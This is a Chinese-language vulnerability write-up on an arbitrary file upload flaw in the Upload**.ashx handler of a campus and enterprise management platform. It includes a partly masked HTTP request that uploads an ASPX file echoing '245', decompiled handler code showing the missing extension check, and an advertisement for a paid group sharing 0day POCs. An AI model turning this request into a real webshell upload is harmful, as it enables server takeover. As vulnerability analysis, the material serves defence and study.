01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02漏洞背景
某通智慧管理平台是一套功能强大,运行稳定,操作简单方便,用户界面美观,轻松统计数据的系统。无需安装,只需在后台配置即可在浏览器登录。功能包括:系统管理中心、人员信息管理中心、设备管理中心、水控管理子系统、电控管理子系统、考勤管理子系统、会议签到管理子系统、访客管理子系统。该系统的Upload**.ashx接口存在任意文件上传漏洞。
03漏洞复现
近日外部公开渠道爆出该系统存在RCE漏洞,参数my***没有判断文件扩展名,可以上传任意ASPX脚本,具体的数据包如下所示。
POST /UpLoad**.ashx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Content-Length: 431
Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywt4cEu1eCdibD89y
X-Requested-With: XMLHttpRequest
------WebKitFormBoundarywt4cEu1eCdibD89y
Content-Disposition: form-data; name="action"
post
------WebKitFormBoundarywt4cEu1eCdibD89y
Content-Disposition: form-data; name="my***"; filename="1.aspx"
Content-Type: image/png
<% response.write(245) %>
------WebKitFormBoundarywt4cEu1eCdibD89y
上述请求构造的HTTP流将上传的文件名为 1.aspx,其内容包含一段 ASPX 代码,在页面中回显245,并且返回的文件的物理路径,位于Images目录下。如下图所示。
04漏洞分析
存在漏洞的是一个Handler,经过分析得知代码隐藏文件为 UpLoad**.ashx.cs,类为 Ne****.View.test。
HttpPostedFile picture = context.Request.Files[0];
string fileName = picture.FileName;
从请求中获取上传的文件,在处理上传文件将的时候会检查是否存在旧文件名,如果存在会删除旧文件,代码如下所示。
if (name != "")
{
string expr_94 = name;
if (expr_94.Substring(expr_94.LastIndexOf("/") + 1) != "none.jpg")
{
name = name.Replace('/', '\\');
File.Delete(str + name);
}
}
最后生成新文件的相对路径,使用 GUID 生成唯一文件名,这里幸好会返回路径和文件名,否则还不好猜测。具体代码如下所示。
url = "\\images\\" + Guid.NewGuid().ToString("N") + fileName;
picture.SaveAs(AppDomain.CurrentDomain.SetupInformation.ApplicationBase + url);
url = url.Replace('\\', '/');
}
漏洞详情已经打包在星球,感兴趣的朋友可以加入自取。更多的.NET漏洞情报,请加入星球后获取,星球持续更新最新的 .NET 应用漏洞POC,并在每年HW期间提供一手漏洞情报。这些POC/EXP涵盖了一些0day和1day漏洞,确保您始终掌握最前沿的安全信息和防护措施。
05.NET安全星球
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。